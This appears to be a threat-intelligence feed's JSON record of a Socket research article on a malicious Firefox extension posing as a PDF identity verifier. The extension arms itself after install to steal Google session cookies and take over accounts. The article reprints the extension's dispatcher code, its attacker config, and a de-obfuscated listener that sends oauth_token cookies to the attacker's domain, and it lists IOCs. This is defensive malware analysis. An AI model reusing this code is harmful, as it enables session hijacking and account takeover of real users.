[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f0yG2aYSt2yw_XNTOXRX3WmyrM2CHYYauI3ZUpBeaIWc":3},{"article":4,"iocs":46},{"id":5,"title":6,"slug":7,"summary":8,"ai_summary":9,"brief":10,"full_text":11,"url":12,"image_url":13,"published_at":14,"ingested_at":15,"relevance_score":16,"entities":17,"category_id":28,"category":29,"article_tags":33},"c22fe24a-7deb-4aa2-ae27-577a51a5e726","Malicious Firefox Extension Poses as PDF Identity Verifier to Hijack Google Accounts","malicious-firefox-extension-poses-as-pdf-identity-verifier-to-hijack-google-acco-06f42a","Socket identified a Firefox extension that ships with no hardcoded malicious code and fetches a remote payload after installation to silently automate Google account takeover, targeting Portuguese- and Spanish-speaking users since September 11, 2026. Socket's Threat Research team identified a malicious Firefox extension posing as a utility for identity verification before opening protected PDF documents. The extension, pdf-para-texto@extensao.local, was published to the Firefox Add-ons store on September 3, 2026, and its malicious functionality was first introduced in version 1.4 on September 11, 2026. The extension does not have a significant user base, and the expected impact is fairly low. It drew researchers' attention because of how it is designed to avoid detection at every stage of its operation: the code shipped to the add-on store contains no hardcoded malicious logic, no target URLs, and no exfiltration endpoint. Instead, the extension fetches its malicious configuration and payload from attacker infrastructure only after installation, then uses it to inject an automated account-takeover script directly into real accounts.google.com pages the victim visits — ultimately capturing both the victim's Google session cookie and, when Google prompts for one, a password reset value the attacker controls. # The extension's static files — manifest.json, content.js, and background.js — contain no hardcoded malicious behavior. There is no target URL, no exfiltration endpoint, and no credential-stealing logic anywhere in the shipped code. background.js is a generic interpreter: config = await browser.storage.local.get(); \u002F\u002F empty at install time const _call = (path, ...args) => path.split('.').reduce(...)(...args); \u002F\u002F resolves & invokes ANY global by dotted string The malicious behavior — which network requests to watch, which headers to read, which function to call, which code to inject — is data, not code. That data doesn't exist until something writes it into browser.storage.local after install. A store reviewer or static scanner sees only a content-free dispatcher; there is nothing to flag until the extension is armed at runtime. Static analysis surfaces a few unusual but individually inconclusive details: content_scripts match :\u002F\u002F*.google.com\u002F* and :\u002F\u002F*.gusercontent.com\u002F* at document_start — broad, but not inherently malicious for a \"PDF identity verification\" tool. Permissions request webRequest, storage, and https:\u002F\u002F*.google.com\u002F* — plausible for a document-integrated utility. content.js patches the PublicKeyCredential interface of the Web Authentication API (WebAuthn) so capability checks always report a platform authenticator\u002Fpasskey as available — unusual, but not conclusive on its own. None of these observations proves malicious intent in isolation. The extension only becomes dangerous once it is armed. Initial Access and Infection Chain # The loading of the malicious functionality is triggered from the extension's install event handler. When browser.runtime.onInstalled fires, the extension opens an active tab to hxxps:\u002F\u002Fpdf[.]gusercontent[.]com\u002Foninstalled after a five-second delay. gusercontent[.]com is a lookalike domain controlled by the attacker, chosen to resemble Google's legitimate googleusercontent.com. content.js is injected into that page as well, since the manifest also matches *.gusercontent.com. It exposes an open message bridge between the page and the extension's privileged background worker: window.addEventListener(\"message\", (event) => { if (event.source!== window) return; if (event.data[0] === \"ext\") browser.runtime.sendMessage(event.data[1]); }); The landing page itself contains no obvious malicious functionality, but it loads a script from attacker-controlled infrastructure: That script sends a message that triggers parsing and construction of the malicious logic inside background.js: window.postMessage([\"ext\", [1, \"browser.storage.local.set\", \"browser.runtime.reload\", ]], \"*\") background.js's message handler for m[0] === 1 runs _call(m[1], m[3]), which executes browser.storage.local.set( ) and then calls init() again. This re-reads config and registers a webRequest.onCompleted listener using the newly supplied URL filter, header names, matching rules, and destination URL. Background Worker Before and After Arming background.js consists of four parts. The first, _call(path, ...args), is a generic dispatcher. Basically, it enables function invocation by passing it the function name and arguments as strings — _call(\"console.log\", \"Hello World!\"). The logic inside the init() function reads config from browser.storage.local and parses the config object to construct its real functionality. It uses the _call generic dispatcher described above to perform function execution. Finally, two event listeners are defined. The first handles message events, enabling the communication bridge between the background worker and the content script. The second is used to trigger the malware activation chain immediately after the extension is installed. As shipped, every action background.js can take is indexed through config, which is empty at install time — init()'s if (config[0]) branch never runs, and no webRequest listener is registered. Nothing observable happens: var config= {}; const _call = (caminho, ...args) => caminho.split('.').reduce((obj, chave, _, arr) => arr.length- 1 === _? obj[chave].bind(arr.slice(0, -1).reduce((o, k) => o[k], globalThis)) : obj[chave] , globalThis)(...args); const b64 = (str) => btoa(str) .replace(\u002F\\+\u002Fg, '-') .replace(\u002F\\\u002F\u002Fg, '_') .replace(\u002F=+$\u002F, ''); var bound= false; async function init() { try { config= await browser.storage.local.get(); if (config[0]) { if (bound) return; bound= true; browser.webRequest.onCompleted.addListener( (d) => { if (d[config[0][8]]) { d[config[0][8]].forEach((h) => { if (h[config[0][9]].toLowerCase() === config[0][5]) { if (h[config[0][10]].includes(config[0][11])) { _call( config[0][12], `${config[0][13]}${config[config[0][14]]}${config[0][17]}${b64(config[config[0][15]])}${config[0][16]}${b64(h[config[0][10]])}` ) } } }); } }, { urls: [config[0][4]] }, [config[0][6]] ); } } catch (e) {} } init(); browser.runtime.onMessage.addListener((m, sender, sendResponse) => { if (m[0] === 0) { if (config.hasOwnProperty(m[1])) { const options= {}; options[config[0][1]] = config[m[1]]; _call(config[0][0], sender.tab.id, options); } } if (m[0] === 1) { _call(m[1], m[3]); init(); } }); browser.runtime.onInstalled.addListener((details) => { if (details.reason=== \"install\") { setTimeout(async () => { const tab= await browser.tabs.create({ url: \"https:\u002F\u002Fpdf[.]gusercontent[.]com\u002Foninstalled\", \u002F\u002Fdefanged active: true }); }, 5000); } }); Once the oninstalled page's script calls postMessage([\"ext\", [1, \"browser.storage.local.set\", ..., ]]), the following array is written into browser.storage.local: config[0] = [ \"browser.tabs.executeScript\", \u002F\u002F[0] \"code\", \u002F\u002F[1] \"browser.storage.local.set\", \u002F\u002F[2] \"browser.runtime.reload\", \u002F\u002F[3] \"https:\u002F\u002F*.google.com\u002F*\", \u002F\u002F[4] webRequest URL filter \"set-cookie\", \u002F\u002F[5] header name to match \"responseHeaders\", \u002F\u002F[6] webRequest extraInfoSpec \"browser.webRequest.onCompleted.addListener\", \u002F\u002F[7] \"responseHeaders\", \u002F\u002F[8] details.responseHeaders \"name\", \u002F\u002F[9] header.name \"value\", \u002F\u002F[10] header.value \"oauth_token\", \u002F\u002F[11] substring filter on cookie value \"fetch\", \u002F\u002F[12] exfil primitive \"https:\u002F\u002Fpdf.gusercontent.com\u002Fapi\u002Faccounts\u002Fcollect\u002F?leadId=\", \u002F\u002F[13] exfil url \"leadId\", \u002F\u002F[14] \"email\", \u002F\u002F[15] \"&data=\", \u002F\u002F[16] query string part \"&email=\", \u002F\u002F[17] query string part ]; config[\"leadId\"] = \" \"; config[\"email\"] = \" \"; config[\"accounts.google.com\"] = \" \"; Substituting these literal values into background.js's abstract logic shows the equivalent, de-obfuscated runtime behavior: \u002F\u002F init(): resolved webRequest listener browser.webRequest.onCompleted.addListener( (d) => { if (d[\"responseHeaders\"]) { d[\"responseHeaders\"].forEach((h) => { if (h[\"name\"].toLowerCase() === \"set-cookie\") { if (h[\"value\"].includes(\"oauth_token\")) { fetch( `https:\u002F\u002Fpdf.gusercontent.com\u002Fapi\u002Faccounts\u002Fcollect\u002F?leadId=${config[\"leadId\"]}&email=${b64(config[\"email\"])}&data=${b64(h[\"value\"])}` ); } } }); } }, { urls: [\"https:\u002F\u002F*.google.com\u002F*\"] }, [\"responseHeaders\"] ); \u002F\u002F onMessage: resolved hostname-triggered code injection browser.runtime.onMessage.addListener((m, sender, sendResponse) => { if (m[0] === 0) { \u002F\u002F fires when content.js reports window.location.hostname === \"accounts.google.com\" if (config.hasOwnProperty(\"accounts.google.com\")) { browser.tabs.executeScript(sender.tab.id, { code: config[\"accounts.google.com\"] \u002F\u002F = full load-addon.js source }); } } if (m[0] === 1) { _call(m[1], m[3]); \u002F\u002F e.g. browser.storage.local.set({...}) or browser.runtime.reload() init(); } }); The resolved listener watches every response on *.google.com for a Set-Cookie header containing oauth_token and beacons the raw cookie value, together with the victim's identifiers, to the attacker's exfiltration endpoint. Any tab that reports itself as accounts.google.com gets load-addon.js executed inside it via tabs.executeScript. Nothing in background.js changes after installation — only the data backing it does. Payload Behavior: Google Account Takeover # The \u002Foninstalled landing page's script (index-BhOgWOaO.js) performs several steps that set up account takeover before the configuration is even sent to the background worker: It calls Google's real Federated Credential Management (FedCM) API — navigator.credentials.get({identity:{providers:[{configURL:\" \"}]}}) — to silently identify the victim's signed-in Google account, resolving a leadId and email. It stores {leadId, email} into the config object sent to the background worker. It fetches \u002FloginSdk\u002Fload-addon.js, the script that will later be injected into accounts.google.com tabs, and pushes it — together with the resolved victim identifiers — to the background worker via the message bridge described above. It redirects the browser to the real https:\u002F\u002Faccounts.google.com\u002FEmbeddedSetup?Email= page, handing control to Google's own genuine sign-in flow. Once the content script loads on the matched accounts.google.com page, the background worker injects the fetched load-addon.js directly into that real Google page via executeScript. From that point, load-addon.js turns the victim's own authenticated browser session into a remote-controlled account-takeover bot, running entirely on Google's legitimate domain: It creates a fake, full-screen \"Validating your identity…\" overlay to hide the automation from the victim. It drives Google's real sign-in flow by URL: skipping the password step, forcing the passkey\u002Fsecurity-key challenge (data-challengetype=\"53\"), and detecting and retrying around Google's own bot-detection block page (errors\u002Frobot.png) by re-navigating with an incrementing cid parameter. If Google forces a password reset (changepasswordform), the script generates a random valid password, sets it via the native HTMLInputElement value setter, and submits it — silently changing the victim's real Google account password to a value the attacker logs and controls. In parallel, background.js's webRequest.onCompleted listener watches all https:\u002F\u002F*.google.com\u002F* responses for a Set-Cookie header containing oauth_token and exfiltrates the captured cookie value to the attacker's collection endpoint. It streams a live transcript — page text plus a snapshot of interactive UI elements — to the attacker's logging endpoint roughly every 500ms, giving the threat actor real-time visibility into each hijack in progress. It finishes by redirecting the victim back to attacker infrastructure. # This extension gives the threat actor two independent paths to the same Google account, running concurrently: a stolen, valid oauth_token session cookie captured directly from Google's network responses, and — whenever Google's own risk engine forces a password reset during the automated flow — a fresh account password that only the attacker knows. Either one is sufficient for account access; together, they give the operator both an immediate live session and durable, attacker-controlled credentials to the same account. Localized Victim Targeting # The extension's user-facing strings and lure page are localized for pt, pt-PT, es, and en locales, and the overlay text and PDF-verification pretext are written in Portuguese, indicating the campaign is aimed at Portuguese- and Spanish-speaking users. At the time of publication, the extension does not have a significant user base, and Socket assesses the expected impact as fairly low. Its significance lies less in scale and more in the detection-evasion design: shipping with zero hardcoded malicious behavior and arming itself entirely through post-install configuration delivered from attacker infrastructure. Recommended Actions # Remove the extension. Uninstall PDF Identity Verifier and block the identifier pdf-para-texto@extensao.local through browser-management policies. Terminate Google sessions. Sign the affected user out of all Google sessions and revoke active browser sessions and tokens from a trusted device. Reset credentials. Change the Google account password from a known-clean device. Review and re-enroll passkeys, security keys, recovery addresses, recovery phone numbers, and multifactor-authentication methods. Review account activity. Examine Google security events, login history, connected applications, forwarding rules, delegated access, recovery changes, and activity across services associated with the account. Block the infrastructure. Hunt for and block requests to pdf[.]gusercontent[.]com, including the installation, loader, collection, telemetry, and redirect paths listed below. Inspect Firefox profiles. Search managed endpoints for the extension identifier, its local-storage data, and installation records. Treat affected browser profiles as compromised. # Extension Identifier pdf-para-texto@extensao.local - PDF Identity Verifier C2 Infrastructure pdf[.]gusercontent[.]com - C2 domain pdf[.]gusercontent[.]com\u002Foninstalled - onInstalled landing page pdf[.]gusercontent[.]com\u002FloginSdk\u002Fassets\u002Findex-BhOgWOaO.js - loader payload script pdf[.]gusercontent[.]com\u002FloginSdk\u002Fload-addon.js - Google account takeover payload pdf[.]gusercontent[.]com\u002Fapi\u002Faccounts\u002Fcollect\u002F?leadId=&email=&data= - token exfiltration endpoint pdf[.]gusercontent[.]com\u002Fapi\u002Fextlog - live session telemetry endpoint pdf[.]gusercontent[.]com\u002Freload - post-hijack redirect File hashes f1b8329075b1cbd1ae0a5dc947bd00f94642cb166a86c2455a1d0b10aee9f2b1 - onInstalled landing page 16447c70f8e3c99de95b92846460214a661915c89f5c10965bf18da4c279880a - loader payload script dc717b5ab9a8eccf6b6187880ba90b004cb00f503ff8bceb8405ccc33d1c6e3e - Google account takeover payload","A malicious Firefox extension, 'pdf-para-texto@extensao.local', has been identified that poses as a PDF identity verifier. It evades initial detection by shipping with no hardcoded malicious code, instead fetching its payload after installation. The extension targets Portuguese- and Spanish-speaking users, aiming to automate Google account takeovers by stealing session cookies and capturing password reset values.","Firefox extension hijacks Google accounts by stealing session cookies and passwords.","BackResearchSecurity NewsMalicious Firefox Extension Poses as PDF Identity Verifier to Hijack Google AccountsA malicious Firefox extension fetches its payload after installation to evade detection, steal Google session cookies, and automate account takeover.Karlo ZankiSep 23, 2026|7 min readExport IOCs4Socket identified a Firefox extension that ships with no hardcoded malicious code and fetches a remote payload after installation to silently automate Google account takeover, targeting Portuguese- and Spanish-speaking users since September 11, 2026.Socket's Threat Research team identified a malicious Firefox extension posing as a utility for identity verification before opening protected PDF documents. The extension, pdf-para-texto@extensao.local, was published to the Firefox Add-ons store on September 3, 2026, and its malicious functionality was first introduced in version 1.4 on September 11, 2026.The extension does not have a significant user base, and the expected impact is fairly low. It drew researchers' attention because of how it is designed to avoid detection at every stage of its operation: the code shipped to the add-on store contains no hardcoded malicious logic, no target URLs, and no exfiltration endpoint. Instead, the extension fetches its malicious configuration and payload from attacker infrastructure only after installation, then uses it to inject an automated account-takeover script directly into real accounts.google.com pages the victim visits — ultimately capturing both the victim's Google session cookie and, when Google prompts for one, a password reset value the attacker controls.A Clean-Looking Extension#The extension's static files — manifest.json, content.js, and background.js — contain no hardcoded malicious behavior. There is no target URL, no exfiltration endpoint, and no credential-stealing logic anywhere in the shipped code. background.js is a generic interpreter:JavaScriptconfig = await browser.storage.local.get(); \u002F\u002F empty at install time const _call = (path, ...args) => path.split('.').reduce(...)(...args); \u002F\u002F resolves & invokes ANY global by dotted stringThe malicious behavior — which network requests to watch, which headers to read, which function to call, which code to inject — is data, not code. That data doesn't exist until something writes it into browser.storage.local after install. A store reviewer or static scanner sees only a content-free dispatcher; there is nothing to flag until the extension is armed at runtime.Static analysis surfaces a few unusual but individually inconclusive details:content_scripts match :\u002F\u002F*.google.com\u002F* and :\u002F\u002F*.gusercontent.com\u002F* at document_start — broad, but not inherently malicious for a \"PDF identity verification\" tool.Permissions request webRequest, storage, and https:\u002F\u002F*.google.com\u002F* — plausible for a document-integrated utility.content.js patches the PublicKeyCredential interface of the Web Authentication API (WebAuthn) so capability checks always report a platform authenticator\u002Fpasskey as available — unusual, but not conclusive on its own.None of these observations proves malicious intent in isolation. The extension only becomes dangerous once it is armed.Initial Access and Infection Chain#The loading of the malicious functionality is triggered from the extension's install event handler. When browser.runtime.onInstalled fires, the extension opens an active tab to hxxps:\u002F\u002Fpdf[.]gusercontent[.]com\u002Foninstalled after a five-second delay. gusercontent[.]com is a lookalike domain controlled by the attacker, chosen to resemble Google's legitimate googleusercontent.com.content.js is injected into that page as well, since the manifest also matches *.gusercontent.com. It exposes an open message bridge between the page and the extension's privileged background worker:JavaScriptwindow.addEventListener(\"message\", (event) => { if (event.source!== window) return; if (event.data[0] === \"ext\") browser.runtime.sendMessage(event.data[1]); });The landing page itself contains no obvious malicious functionality, but it loads a script from attacker-controlled infrastructure:HTML, XML\u003Cscript type=\"module\" crossorigin src=\"\u002FloginSdk\u002Fassets\u002Findex-BhOgWOaO.js\">\u003C\u002Fscript>That script sends a message that triggers parsing and construction of the malicious logic inside background.js:JavaScriptwindow.postMessage([\"ext\", [1, \"browser.storage.local.set\", \"browser.runtime.reload\", \u003Cconfig object>]], \"*\")background.js's message handler for m[0] === 1 runs _call(m[1], m[3]), which executes browser.storage.local.set(\u003Cattacker-supplied config>) and then calls init() again. This re-reads config and registers a webRequest.onCompleted listener using the newly supplied URL filter, header names, matching rules, and destination URL.Background Worker Before and After Arming#background.js consists of four parts. The first, _call(path, ...args), is a generic dispatcher. Basically, it enables function invocation by passing it the function name and arguments as strings — _call(\"console.log\", \"Hello World!\").The logic inside the init() function reads config from browser.storage.local and parses the config object to construct its real functionality. It uses the _call generic dispatcher described above to perform function execution.Finally, two event listeners are defined. The first handles message events, enabling the communication bridge between the background worker and the content script. The second is used to trigger the malware activation chain immediately after the extension is installed.As shipped, every action background.js can take is indexed through config, which is empty at install time — init()'s if (config[0]) branch never runs, and no webRequest listener is registered. Nothing observable happens:JavaScriptvar config= {}; const _call = (caminho, ...args) => caminho.split('.').reduce((obj, chave, _, arr) => arr.length- 1 === _? obj[chave].bind(arr.slice(0, -1).reduce((o, k) => o[k], globalThis)) : obj[chave] , globalThis)(...args); const b64 = (str) => btoa(str) .replace(\u002F\\+\u002Fg, '-') .replace(\u002F\\\u002F\u002Fg, '_') .replace(\u002F=+$\u002F, ''); var bound= false; async function init() { try { config= await browser.storage.local.get(); if (config[0]) { if (bound) return; bound= true; browser.webRequest.onCompleted.addListener( (d) => { if (d[config[0][8]]) { d[config[0][8]].forEach((h) => { if (h[config[0][9]].toLowerCase() === config[0][5]) { if (h[config[0][10]].includes(config[0][11])) { _call( config[0][12], `${config[0][13]}${config[config[0][14]]}${config[0][17]}${b64(config[config[0][15]])}${config[0][16]}${b64(h[config[0][10]])}` ) } } }); } }, { urls: [config[0][4]] }, [config[0][6]] ); } } catch (e) {} } init(); browser.runtime.onMessage.addListener((m, sender, sendResponse) => { if (m[0] === 0) { if (config.hasOwnProperty(m[1])) { const options= {}; options[config[0][1]] = config[m[1]]; _call(config[0][0], sender.tab.id, options); } } if (m[0] === 1) { _call(m[1], m[3]); init(); } }); browser.runtime.onInstalled.addListener((details) => { if (details.reason=== \"install\") { setTimeout(async () => { const tab= await browser.tabs.create({ url: \"https:\u002F\u002Fpdf[.]gusercontent[.]com\u002Foninstalled\", \u002F\u002Fdefanged active: true }); }, 5000); } });Once the oninstalled page's script calls postMessage([\"ext\", [1, \"browser.storage.local.set\", ..., \u003Cconfig>]]), the following array is written into browser.storage.local:JavaScriptconfig[0] = [ \"browser.tabs.executeScript\", \u002F\u002F[0] \"code\", \u002F\u002F[1] \"browser.storage.local.set\", \u002F\u002F[2] \"browser.runtime.reload\", \u002F\u002F[3] \"https:\u002F\u002F*.google.com\u002F*\", \u002F\u002F[4] webRequest URL filter \"set-cookie\", \u002F\u002F[5] header name to match \"responseHeaders\", \u002F\u002F[6] webRequest extraInfoSpec \"browser.webRequest.onCompleted.addListener\", \u002F\u002F[7] \"responseHeaders\", \u002F\u002F[8] details.responseHeaders \"name\", \u002F\u002F[9] header.name \"value\", \u002F\u002F[10] header.value \"oauth_token\", \u002F\u002F[11] substring filter on cookie value \"fetch\", \u002F\u002F[12] exfil primitive \"https:\u002F\u002Fpdf.gusercontent.com\u002Fapi\u002Faccounts\u002Fcollect\u002F?leadId=\", \u002F\u002F[13] exfil url \"leadId\", \u002F\u002F[14] \"email\", \u002F\u002F[15","https:\u002F\u002Fsocket.dev\u002Fblog\u002Ffirefox-google-account-takeover?utm_medium=feed","https:\u002F\u002Fcdn.sanity.io\u002Fimages\u002Fcgdhsj6q\u002Fproduction\u002F27ffaa9bb3cca318ef08e5787d16ab55db354076-1672x940.png?w=1000&q=95&fit=max&auto=format","2026-09-23T21:37:15.973+00:00","2026-09-24T00:00:56.950468+00:00",8,[18,21,23,26],{"name":19,"type":20},"Firefox","product",{"name":22,"type":20},"Google Accounts",{"name":24,"type":25},"WebAuthn","technology",{"name":27,"type":25},"FedCM API","89f78b1c-3503-45a1-9fc7-e23d2ce1c6d5",{"id":28,"icon":30,"name":31,"slug":32},null,"Malware","malware",[34,39,41],{"category":35},{"id":36,"icon":30,"name":37,"slug":38},"2c8f44d4-b56e-47cf-9677-04f22c9ee78d","Identity & Access","identity-access",{"category":40},{"id":28,"icon":30,"name":31,"slug":32},{"category":42},{"id":43,"icon":30,"name":44,"slug":45},"e7b231c8-5f79-4465-8d38-1ef13aea5a14","Threat Intelligence","threat-intelligence",[47,51,54,57,60,64,67],{"type":48,"value":49,"context":50},"url","hxxps:\u002F\u002Fpdf[.]gusercontent[.]com\u002Foninstalled","Initial access landing page",{"type":48,"value":52,"context":53},"https:\u002F\u002Fpdf.gusercontent.com\u002Fapi\u002Faccounts\u002Fcollect\u002F?leadId=&email=&data=","Token exfiltration endpoint",{"type":48,"value":55,"context":56},"https:\u002F\u002Fpdf.gusercontent.com\u002Fapi\u002Fextlog","Live session telemetry endpoint",{"type":48,"value":58,"context":59},"https:\u002F\u002Fpdf.gusercontent.com\u002Freload","Post-hijack redirect URL",{"type":61,"value":62,"context":63},"hash_sha256","f1b8329075b1cbd1ae0a5dc947bd00f94642cb166a86c2455a1d0b10aee9f2b1","OnInstalled landing page script hash",{"type":61,"value":65,"context":66},"16447c70f8e3c99de95b92846460214a661915c89f5c10965bf18da4c279880a","Loader payload script hash",{"type":61,"value":68,"context":69},"dc717b5ab9a8eccf6b6187880ba90b004cb00f503ff8bceb8405ccc33d1c6e3e","Google account takeover payload script hash"]